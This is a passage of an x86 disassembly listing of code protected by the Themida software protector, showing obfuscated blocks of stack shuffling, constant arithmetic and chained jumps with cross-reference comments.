		pop	ecx
		mov	bl, al
		pop	eax
		push	ebx
		mov	bl, 0A8h
		sub	al, bl
		pop	ebx
		jmp	loc_55F11C
; ---------------------------------------------------------------------------


loc_55FDFE:				; CODE XREF: Themida_:00564763j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_5603D9
; ---------------------------------------------------------------------------


loc_55FE07:				; CODE XREF: Themida_:00553200j
		xor	edx, 29D87D8Eh
		sub	ebx, edx
		pop	edx
		add	ebx, ebp
		add	ebx, 5FF0E0Eh
		pop	ebp
		jmp	loc_551981
; ---------------------------------------------------------------------------


loc_55FE1E:				; CODE XREF: Themida_:00556DA7j
		mov	[esp], edi
		mov	edi, 6DD848F8h
		jmp	loc_556170
; ---------------------------------------------------------------------------


loc_55FE2B:				; CODE XREF: Themida_:00554BFCj
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_550F3F
; ---------------------------------------------------------------------------


loc_55FE4D:				; CODE XREF: Themida_:005553FBj
		xchg	ebp, ebx
		push	edx
		mov	edx, 0
		sub	edx, ebp
		mov	ebp, edx
		pop	edx
		xchg	ebp, ebx
		push	0
		sub	[esp], ebx
		jmp	loc_555326
; ---------------------------------------------------------------------------


loc_55FE69:				; CODE XREF: Themida_:0055263Ej
		shr	ebx, 3
		shr	ebx, 2
		shl	ebx, 7
		shl	ebx, 2
		sub	ebx, 5BBA4CC2h
		xor	ebx, 0E6DCA0FDh
		jmp	loc_557118
; ---------------------------------------------------------------------------


loc_55FE86:				; CODE XREF: Themida_:00551090j
		add	edx, 4
		jmp	loc_5568F8
; ---------------------------------------------------------------------------


loc_55FE8E:				; CODE XREF: Themida_:0055BFE5j
		mov	edi, 0D24A35Fh
		xor	edx, edi
		pop	edi
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55D3BF
; ---------------------------------------------------------------------------


loc_55FEA6:				; CODE XREF: Themida_:00551CD2j
		mov	ebx, edi
		jmp	loc_5573D2
; ---------------------------------------------------------------------------


loc_55FEAD:				; CODE XREF: Themida_:00555389j
		mov	[esp], ebx
		jmp	loc_562D8C
; ---------------------------------------------------------------------------


loc_55FEB5:				; CODE XREF: Themida_:00555DB5j
		mov	ebx, [esp]
		jmp	loc_55A691
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	35BAh
		jmp	loc_5535AD
; ---------------------------------------------------------------------------


loc_55FED4:				; CODE XREF: Themida_:00564DFAj
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	571B57CEh
		pop	ecx
		jmp	loc_563813
; ---------------------------------------------------------------------------


loc_55FEF1:				; CODE XREF: Themida_:0055DAB5j
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_557161
; ---------------------------------------------------------------------------


loc_55FF02:				; CODE XREF: Themida_:00551AA3j
		add	eax, 21486433h
		push	6EA3h
		mov	[esp], ecx
		mov	ecx, 18A6588Dh
		add	ecx, 0FFFFFFFFh
		push	15B5h
		mov	[esp], ecx
		dec	dword ptr [esp]
		jmp	loc_55E91E
; ---------------------------------------------------------------------------


loc_55FF27:				; CODE XREF: Themida_:00563AC7j
		shl	dx, 2
		sub	dx, 0CFAAh
		jmp	loc_558431
; ---------------------------------------------------------------------------


loc_55FF35:				; CODE XREF: Themida_:0055EBF3j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ebx
		mov	ebx, 5A233F1h
		xor	ebx, 53833BA0h
		sub	ebx, 1D7642CAh
		shl	ebx, 4
		shl	ebx, 7
		not	ebx
		sub	ebx, 0A9D3C7FBh
		jmp	loc_55A1DA
; ---------------------------------------------------------------------------


loc_55FF64:				; CODE XREF: Themida_:00551B4Cj
		push	ecx
		jmp	loc_555149
; ---------------------------------------------------------------------------


loc_55FF6A:				; CODE XREF: Themida_:005620D6j
		push	ebx
		mov	ebx, 4
		jmp	loc_560AC2
; ---------------------------------------------------------------------------


loc_55FF75:				; CODE XREF: Themida_:00553D98j
		push	edi
		push	3497h
		mov	[esp], ebp
		mov	ebp, 47966AB2h
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ecx
		jmp	loc_55D107
; ---------------------------------------------------------------------------


loc_55FFA3:				; CODE XREF: Themida_:0056121Ej
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	474667D6h
		pop	ebx
		neg	ebx
		xor	ebx, 0B8B9982Eh
		push	67DFh
		mov	[esp], ebx
		sub	dword ptr [esp], 2ADF116Dh
		pop	edi
		jmp	loc_5615CA
; ---------------------------------------------------------------------------


loc_55FFCD:				; CODE XREF: Themida_:00557320j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55FFE6:				; CODE XREF: Themida_:00560CA8j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 325671B3h
		dec	eax
		sub	eax, 6FA07AEDh
		or	eax, 1B0510F8h
		add	eax, 326D65CAh
		add	eax, 47073622h
		add	eax, 0AAD56D1Bh
		add	esi, 782C4023h
		add	esi, eax
		sub	esi, 782C4023h
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_550708
; ---------------------------------------------------------------------------


loc_560033:				; CODE XREF: Themida_:0055F060j
		mov	edi, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 1F6D2045h
		and	ecx, 6C142B06h
		neg	ecx
		xor	ecx, 48693512h
		dec	ecx
		sub	ecx, 0C9FC012Bh
		xor	edx, ecx
		pop	ecx
		jmp	loc_562873
; ---------------------------------------------------------------------------


loc_560065:				; CODE XREF: Themida_:005634A9j
		mov	ebp, [esp]
		push	esi
		jmp	loc_56484C
; ---------------------------------------------------------------------------


loc_56006E:				; CODE XREF: Themida_:0055EFBAj
		not	ebx
		xor	ebx, 7C69AEEh
		sub	eax, ebx
		mov	ebx, [esp]
		jmp	loc_55AE48
; ---------------------------------------------------------------------------


loc_560080:				; CODE XREF: Themida_:0056369Ej
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5545CF
; ---------------------------------------------------------------------------


loc_560095:				; CODE XREF: Themida_:0055F520j
		add	ebp, 0FFFFFFFFh
		jmp	loc_55C78A
; ---------------------------------------------------------------------------


loc_5600A0:				; CODE XREF: Themida_:00564923j
		xor	edx, 76F36974h
		sub	edx, 1D551BDBh
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55B53E
; ---------------------------------------------------------------------------


loc_5600BD:				; CODE XREF: Themida_:0055C682j
		push	esp
		pop	ebp
		push	edi
		mov	edi, 71D82FE4h
		jmp	loc_55501E
; ---------------------------------------------------------------------------


loc_5600CA:				; CODE XREF: Themida_:005610AEj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5643A3
; ---------------------------------------------------------------------------


loc_5600D8:				; CODE XREF: Themida_:00555D59j
		push	5D96h
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 550F4526h
		or	ebx, 62F6219Ah
		dec	ebx
		add	ebx, 88009A47h
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		inc	edx
		add	edx, 234A23C9h
		xor	edx, 37545731h
		jmp	loc_56241B
; ---------------------------------------------------------------------------


loc_560111:				; CODE XREF: Themida_:0055858Ej
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B8C7
; ---------------------------------------------------------------------------


loc_560121:				; CODE XREF: Themida_:00561B27j
		mov	[esp], esi
		push	edx
		push	2E5964E1h
		pop	edx
		inc	edx
		dec	edx
		xor	edx, 71E333A1h
		add	edx, 507A60D7h
		mov	esi, edx
		pop	edx
		sub	edx, 12BF6E25h
		add	edx, esi
		jmp	loc_554DD1
; ---------------------------------------------------------------------------


loc_560149:				; CODE XREF: Themida_:00563AA7j
		mov	eax, 261E393Dh
		sub	eax, 6C100D4Dh
		not	eax
		jmp	loc_55BE32
; ---------------------------------------------------------------------------


loc_56015A:				; CODE XREF: Themida_:005593A5j
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_550E96
; ---------------------------------------------------------------------------


loc_560165:				; CODE XREF: Themida_:005638F8j
		push	ebp
		mov	ebp, 71BC3D84h
		dec	ebp
		jmp	loc_55AE56
; ---------------------------------------------------------------------------


loc_560171:				; CODE XREF: Themida_:0055D8E9j
		mov	esi, 30F62483h
		sub	esi, edx
		pop	edx
		add	edx, esi
		pop	esi
		jmp	loc_552347
; ---------------------------------------------------------------------------


loc_560181:				; CODE XREF: Themida_:0055C884j
		mov	ecx, esp
		push	19B7h
		mov	[esp], eax
		push	edx
		push	eax
		jmp	loc_554293
; ---------------------------------------------------------------------------


loc_560192:				; CODE XREF: Themida_:005579B5j
		sub	dword ptr [esp+4], 3AE23F6Eh
		add	[esp+4], edi
		add	dword ptr [esp+4], 3AE23F6Eh
		jmp	loc_564C9A
; ---------------------------------------------------------------------------


loc_5601AB:				; CODE XREF: Themida_:005534EEj
		shr	esi, 3
		sub	esi, 0CEFB575Dh
		sub	ebx, 1A3F5561h
		add	ebx, esi
		add	ebx, 1A3F5561h
		pop	esi
		sub	ebx, eax
		push	esi
		jmp	loc_55D17F
; ---------------------------------------------------------------------------


loc_5601CB:				; CODE XREF: Themida_:0055D73Aj
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		push	ebp
		jmp	loc_561D51
; ---------------------------------------------------------------------------


loc_5601D8:				; CODE XREF: Themida_:00552B31j
		push	dword ptr [esp]
		pop	esi
		push	6F81h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5520E6
; ---------------------------------------------------------------------------


loc_5601FA:				; CODE XREF: Themida_:005580A6j
		pop	esp
		push	esi
		jmp	loc_558BB3
; ---------------------------------------------------------------------------


loc_560201:				; CODE XREF: Themida_:00559A1Bj
		mov	dx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55DD80
; ---------------------------------------------------------------------------


loc_560213:				; CODE XREF: Themida_:00562E32j
		add	edx, 4
		push	62ACh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2835h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_552246
; ---------------------------------------------------------------------------


loc_560256:				; CODE XREF: Themida_:00552C57j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F9CC
; ---------------------------------------------------------------------------


loc_560264:				; CODE XREF: Themida_:00556D8Cj
		push	edx
		jmp	loc_555F41
; ---------------------------------------------------------------------------


loc_56026A:				; CODE XREF: Themida_:00553414j
		sub	ecx, 7DF45B05h
		jmp	loc_55F20D
; ---------------------------------------------------------------------------


loc_560275:				; CODE XREF: Themida_:005645E2j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55316A
; ---------------------------------------------------------------------------


loc_560284:				; CODE XREF: Themida_:00561077j
		add	esp, 4
		push	eax
		mov	eax, 4D1D5B5Dh
		xor	eax, 321272A3h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 630C1D7Eh
		jmp	loc_5585D8
; ---------------------------------------------------------------------------


loc_5602A5:				; CODE XREF: Themida_:0055A7BDj
		mov	bl, 62h
		jmp	loc_559C31
; ---------------------------------------------------------------------------


loc_5602AC:				; CODE XREF: Themida_:005557D7j
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_55425D
; ---------------------------------------------------------------------------


loc_5602B8:				; CODE XREF: Themida_:0055434Cj
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_555E79
; ---------------------------------------------------------------------------


loc_5602C6:				; CODE XREF: Themida_:00552EDAj
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_562E90
; ---------------------------------------------------------------------------


loc_5602D2:				; CODE XREF: Themida_:0055E20Aj
		mov	ebp, 2C240DC9h
		jmp	loc_551A11
; ---------------------------------------------------------------------------


loc_5602DC:				; CODE XREF: Themida_:00554BD7j
		inc	edi
		add	edi, 7AC92C25h
		xor	edi, 5017E64Fh
		add	ebp, edi
		pop	edi
		push	esi
		push	652071B6h
		jmp	loc_550553
; ---------------------------------------------------------------------------


loc_5602F7:				; CODE XREF: Themida_:0055F9EAj
		add	ebp, 18305B8Bh
		jmp	loc_55C0F4
; ---------------------------------------------------------------------------


loc_560302:				; CODE XREF: Themida_:0056513Fj
		mov	edi, ecx
		jmp	loc_5654B2
; ---------------------------------------------------------------------------


loc_560309:				; CODE XREF: Themida_:005520EFj
		add	esp, 4
		push	edx
		push	esi
		jmp	loc_55D03F
; ---------------------------------------------------------------------------


loc_560316:				; CODE XREF: Themida_:005599D3j
		xchg	ebp, edi
		xor	edi, 7B834C58h
		add	edx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55C815
; ---------------------------------------------------------------------------


loc_56032F:				; CODE XREF: Themida_:0055664Ej
		mov	ebp, 2DED3F65h
		jmp	loc_56351F
; ---------------------------------------------------------------------------


loc_560339:				; CODE XREF: Themida_:005634E6j
		sub	edx, esi
		push	eax
		mov	eax, 490A66C7h
		xor	eax, 0DAC560Ch
		add	edx, eax
		pop	eax
		pop	esi
		jmp	loc_55FABD
; ---------------------------------------------------------------------------


loc_56034F:				; CODE XREF: Themida_:0055EF67j
		sub	ebp, 0F6A4DA5h
		sub	ebp, edx
		push	ebx
		mov	ebx, 0F6A4DA5h
		add	ebp, 2817398Ah
		add	ebp, ebx
		jmp	loc_5639A7
; ---------------------------------------------------------------------------


loc_56036A:				; CODE XREF: Themida_:0055B365j
		add	esi, 1B0F3202h
		xor	esi, 48EA5A30h
		and	esi, 7BC424DFh
		sub	esi, 63842044h
		add	ecx, esi
		pop	esi
		push	eax
		mov	eax, 56EF628Eh
		jmp	loc_56481C
; ---------------------------------------------------------------------------


loc_560390:				; CODE XREF: Themida_:00560C60j
		add	ebx, 7EFC7343h
		jmp	loc_557DCD
; ---------------------------------------------------------------------------


loc_56039B:				; CODE XREF: Themida_:005620FCj
		push	eax
		mov	eax, 3E9E7255h
		or	eax, 0C821628h
		sub	eax, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5531A0
; ---------------------------------------------------------------------------


loc_5603B4:				; CODE XREF: Themida_:0055EAC2j
		sub	bh, 1Dh
		sub	bh, dl
		add	bh, 1Dh
		add	bh, 0ADh
		mov	edx, [esp]
		add	esp, 4
		mov	cl, bh
		pop	ebx
		and	cl, 7Ch
		or	cl, 5Ch
		shr	cl, 4
		jmp	loc_552E69
; ---------------------------------------------------------------------------


loc_5603D9:				; CODE XREF: Themida_:0055FE02j
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561D9F
; ---------------------------------------------------------------------------


loc_5603EB:				; CODE XREF: Themida_:005554EFj
		add	esi, 2765552Ch
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55880D
; ---------------------------------------------------------------------------


loc_560400:				; CODE XREF: Themida_:00557F62j
		dec	edx
		add	edx, 526E4E1Fh
		sub	dword ptr [esp+4], 5DB424E1h
		sub	[esp+4], edx
		add	dword ptr [esp+4], 5DB424E1h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5611C0
; ---------------------------------------------------------------------------


loc_560426:				; CODE XREF: Themida_:005612EFj
		mov	esp, [esp]
		sub	edi, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	176Eh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5649DE
; ---------------------------------------------------------------------------


loc_560441:				; CODE XREF: Themida_:00552CC4j
		mov	al, 0B2h
		push	ecx
		jmp	loc_562389
; ---------------------------------------------------------------------------


loc_560449:				; CODE XREF: Themida_:0055A09Ej
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5560D2
; ---------------------------------------------------------------------------


loc_560456:				; CODE XREF: Themida_:00550B4Ej
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55B196
; ---------------------------------------------------------------------------


loc_560465:				; CODE XREF: Themida_:00564DEEj
		xor	edi, 0F5D178Ch
		add	edi, 0A7BB9211h
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55FC4C
; ---------------------------------------------------------------------------


loc_56047F:				; CODE XREF: Themida_:0056247Ej
		mov	[esp], ebx
		neg	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_55EC87
; ---------------------------------------------------------------------------


loc_560491:				; CODE XREF: Themida_:005578B1j
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_56145D
; ---------------------------------------------------------------------------


loc_5604A0:				; CODE XREF: Themida_:0056052Aj
		push	ecx
		mov	ecx, 274604E1h
		add	ecx, 5579670Fh
		add	ecx, 8F199B04h
		sub	ebx, ecx
		pop	ecx
		pop	ecx
		shr	ebx, 1
		push	edx
		mov	edx, 7A1B3D63h
		push	ecx
		mov	ecx, 51FC76A8h
		jmp	loc_5544BB
; ---------------------------------------------------------------------------


loc_5604C9:				; CODE XREF: Themida_:00560515j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55E4DF
; ---------------------------------------------------------------------------


loc_5604DB:				; CODE XREF: Themida_:0055EE7Fj
		or	ecx, 188A0E25h
		and	ecx, 24185A47h
		inc	ecx
		sub	ecx, 0AE8FB61Bh
		or	esi, ecx
		mov	ecx, [esp]
		jmp	loc_565B03
; ---------------------------------------------------------------------------


loc_5604F8:				; CODE XREF: Themida_:005644FEj
		pop	cx
		add	al, 0Dh
		sub	al, dh
		sub	al, 0Dh
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55AD18
; ---------------------------------------------------------------------------


loc_560509:				; CODE XREF: Themida_:00565339j
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5604C9
; ---------------------------------------------------------------------------


loc_56051A:				; CODE XREF: Themida_:005573A5j
		and	eax, 30CD7029h
		add	eax, 48BFE42Dh
		mov	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		jmp	loc_5604A0
; ---------------------------------------------------------------------------


loc_56052F:				; CODE XREF: Themida_:0055E5A1j
		dec	eax
		jmp	loc_560D99
; ---------------------------------------------------------------------------


loc_560535:				; CODE XREF: Themida_:00564D44j
		mov	ebx, 2F332860h
		jmp	loc_554874
; ---------------------------------------------------------------------------


loc_56053F:				; CODE XREF: Themida_:005599F8j
		mov	edx, 0B97B9A8Fh
		add	edx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, 29414535h
		push	ecx
		jmp	loc_562175
; ---------------------------------------------------------------------------


loc_56056F:				; CODE XREF: Themida_:0055CC71j
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 1AD73CF5h
		add	dword ptr [esp+4], 4E874BB2h
		sub	dword ptr [esp+4], 65167483h
		pop	ebp
		pop	eax
		jmp	loc_5556E5
; ---------------------------------------------------------------------------


loc_560592:				; CODE XREF: Themida_:0055A058j
		push	ebx
		jmp	loc_551021
; ---------------------------------------------------------------------------


loc_560598:				; CODE XREF: Themida_:00561C0Ej
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5605A5:				; CODE XREF: Themida_:00560808j
		add	eax, 8880DDCh
		jmp	loc_55C5EE
; ---------------------------------------------------------------------------


loc_5605AF:				; CODE XREF: Themida_:0056079Aj
		add	ebx, 60AA7FE9h
		push	eax
		mov	eax, 0E264DCh
		and	eax, 31AC5764h
		neg	eax
		xor	eax, 4D61276Ch
		jmp	loc_55BB01
; ---------------------------------------------------------------------------


loc_5605CC:				; CODE XREF: Themida_:00561E8Fj
		mov	ebp, 21A11FECh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, 73E94999h
		sub	edx, 2DD6BB58h
		jmp	loc_558B96
; ---------------------------------------------------------------------------


loc_5605E7:				; CODE XREF: Themida_:005518DFj
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55B62F
; ---------------------------------------------------------------------------


loc_560607:				; CODE XREF: Themida_:00561618j
		add	al, 0D0h
		pop	bx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_551C0A
; ---------------------------------------------------------------------------


loc_560619:				; CODE XREF: Themida_:005595E5j
		and	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, 0F40089Ch
		add	ecx, ebx
		pop	ebx
		jmp	loc_55CB82
; ---------------------------------------------------------------------------


loc_560632:				; CODE XREF: Themida_:00553145j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_560637:				; CODE XREF: Themida_:0055D851j
		pop	esi
		jmp	loc_557817
; ---------------------------------------------------------------------------


loc_56063D:				; CODE XREF: Themida_:00555F78j
		mov	[esp], eax
		mov	eax, 10695456h
		jmp	loc_5642A8
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_55F25C
; ---------------------------------------------------------------------------


loc_560658:				; CODE XREF: Themida_:00561E78j
		push	64B6h
		mov	[esp], esi
		jmp	loc_558A8E
; ---------------------------------------------------------------------------


loc_560665:				; CODE XREF: Themida_:00551E4Dj
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		xor	edi, eax
		jmp	loc_55DF28
; ---------------------------------------------------------------------------


loc_560673:				; CODE XREF: Themida_:0055962Aj
		mov	dx, [esp]
		push	7B4Fh
		mov	[esp], eax
		mov	eax, esp
		push	238Ah
		mov	[esp], ecx
		push	edx
		mov	edx, 69F84C01h
		jmp	loc_55A14B
; ---------------------------------------------------------------------------


loc_560694:				; CODE XREF: Themida_:0055B3AFj
		push	esi
		sub	dword ptr [esp], 5A2601FDh
		pop	eax
		add	eax, 5A2601FDh
		jmp	loc_563D65
; ---------------------------------------------------------------------------


loc_5606A7:				; CODE XREF: Themida_:0055714Aj
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55B57B
; ---------------------------------------------------------------------------


loc_5606B2:				; CODE XREF: Themida_:005578D9j
		add	ecx, ebp
		add	ecx, 3E927902h
		pop	ebp
		add	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		push	47B9h
		mov	[esp], edx
		mov	edx, 3A3D63B8h
		and	edx, 5E0B3535h
		shl	edx, 5
		or	edx, 278232C8h
		jmp	loc_555C35
; ---------------------------------------------------------------------------


loc_5606E4:				; CODE XREF: Themida_:00560970j
		mov	ecx, [esp]
		add	esp, 4
		add	al, 3Eh
		add	al, dh
		push	edx
		mov	dh, 0C0h
		add	dh, 13h
		not	dh
		push	ecx
		mov	cl, 16h
		dec	cl
		shl	cl, 2
		jmp	loc_55E099
; ---------------------------------------------------------------------------


loc_560706:				; CODE XREF: Themida_:0055291Bj
		pop	esi
		push	ecx
		mov	ecx, 1C8A0925h
		or	ecx, 23491535h
		neg	ecx
		sub	ecx, 41F66EF4h
		push	0
		sub	[esp], ecx
		pop	ecx
		dec	ecx
		xor	ecx, 81C18C2Ch
		jmp	loc_553512
; ---------------------------------------------------------------------------


loc_560730:				; CODE XREF: Themida_:0055CF7Bj
		push	ecx
		jmp	loc_55B086
; ---------------------------------------------------------------------------


loc_560736:				; CODE XREF: Themida_:0055F2B4j
		mov	[esp], edx
		push	ecx
		mov	ecx, 20AF7D7Bh
		mov	edx, ecx
		pop	ecx
		or	edx, 2B713E01h
		shl	edx, 5
		jmp	loc_5509E1
; ---------------------------------------------------------------------------


loc_560750:				; CODE XREF: Themida_:00564D71j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		jmp	loc_5656E3
; ---------------------------------------------------------------------------


loc_560762:				; CODE XREF: Themida_:00552676j
		pop	eax
		push	ecx
		push	4068h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	68Eh
		mov	[esp], ebp
		jmp	loc_56080D
; ---------------------------------------------------------------------------


loc_560781:				; CODE XREF: Themida_:00561623j
		mov	bl, ch
		pop	ecx
		push	edx
		mov	dh, bl
		mov	ch, dh
		mov	edx, [esp]
		jmp	loc_550B69
; ---------------------------------------------------------------------------


loc_560791:				; CODE XREF: Themida_:00561046j
		add	ebp, edx
		jmp	loc_55EA31
; ---------------------------------------------------------------------------


loc_560798:				; CODE XREF: Themida_:005568BAj
		add	ebx, ecx
		jmp	loc_5605AF
; ---------------------------------------------------------------------------


loc_56079F:				; CODE XREF: Themida_:0055EF11j
		mov	edx, [esp]
		jmp	loc_560BC8
; ---------------------------------------------------------------------------


loc_5607A7:				; CODE XREF: Themida_:00554C16j
		pop	ebx
		push	edi
		mov	edi, 71C27524h
		and	esi, edi
		pop	edi
		jmp	loc_55DFBD
; ---------------------------------------------------------------------------


loc_5607B6:				; CODE XREF: Themida_:0055DF23j
		push	ebx
		push	ecx
		mov	ecx, 4
		push	edx
		mov	edx, ecx
		mov	ebx, edx
		jmp	loc_5648DF
; ---------------------------------------------------------------------------


loc_5607C7:				; CODE XREF: Themida_:0055DEF7j
		mov	[esp], ecx
		jmp	loc_5639B3
; ---------------------------------------------------------------------------


loc_5607CF:				; CODE XREF: Themida_:0055CAE6j
		xor	[esp], edi
		jmp	loc_5506FF
; ---------------------------------------------------------------------------


loc_5607D7:				; CODE XREF: Themida_:00565194j
		pop	esi
		push	ecx
		mov	ecx, 54390563h
		sub	ecx, 0B56A527h
		add	ecx, 0FFFFFFFFh
		dec	ecx
		push	edx
		jmp	loc_55ED9B
; ---------------------------------------------------------------------------


loc_5607EE:				; CODE XREF: Themida_:00550524j
		mov	edx, 14AA4063h
		sub	eax, 50264E07h
		add	eax, edx
		jmp	loc_5558FE
; ---------------------------------------------------------------------------


loc_5607FF:				; CODE XREF: Themida_:00559555j
		mov	esp, [esp]
		jmp	loc_563C70
; ---------------------------------------------------------------------------


loc_560807:				; CODE XREF: Themida_:005640D4j
		pop	ebx
		jmp	loc_5605A5
; ---------------------------------------------------------------------------


loc_56080D:				; CODE XREF: Themida_:0056077Cj
		mov	ebp, 377F1221h
		or	ebp, 757414F2h
		push	2B94h
		mov	[esp], edi
		mov	edi, 3EDB2C9Dh
		jmp	loc_559D82
; ---------------------------------------------------------------------------


loc_56082A:				; CODE XREF: Themida_:00562761j
		sub	al, 0C7h
		jmp	loc_5552DB
; ---------------------------------------------------------------------------


loc_560831:				; CODE XREF: Themida_:00559BA9j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 537A0E58h
		inc	ebp
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		push	53F933C2h
		pop	eax
		jmp	loc_552C8B
; ---------------------------------------------------------------------------


loc_560854:				; CODE XREF: Themida_:005539F4j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, esi
		push	edx
		mov	edx, 38940164h
		sub	ecx, edx
		pop	edx
		pop	esi
		jmp	loc_55DAE6
; ---------------------------------------------------------------------------


loc_560870:				; CODE XREF: Themida_:0055C9B7j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	7F93h
		mov	[esp], edx
		push	ebx
		mov	ebx, 61483495h
		jmp	loc_564877
; ---------------------------------------------------------------------------


loc_56088D:				; CODE XREF: Themida_:0055AFABj
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552412
; ---------------------------------------------------------------------------


loc_5608A7:				; CODE XREF: Themida_:0055D62Bj
		push	ecx
		jmp	loc_557938
; ---------------------------------------------------------------------------


loc_5608AD:				; CODE XREF: Themida_:0055D790j
		add	ecx, 4
		push	3A8Fh
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_55E949
; ---------------------------------------------------------------------------


loc_5608C6:				; CODE XREF: Themida_:00551914j
		mov	[esp], esi
		mov	esi, 2B0379F8h
		jmp	loc_555CC1
; ---------------------------------------------------------------------------


loc_5608D3:				; CODE XREF: Themida_:0055D25Cj
		add	al, 65h
		pop	dx
		push	ecx
		mov	cl, 69h
		jmp	loc_55DC85
; ---------------------------------------------------------------------------


loc_5608DF:				; CODE XREF: Themida_:0055BBCEj
		push	eax
		mov	eax, 5E9C63C1h
		mov	edx, 87B78E21h
		add	edx, 1ED57BACh
		sub	edx, eax
		jmp	loc_55E8F4
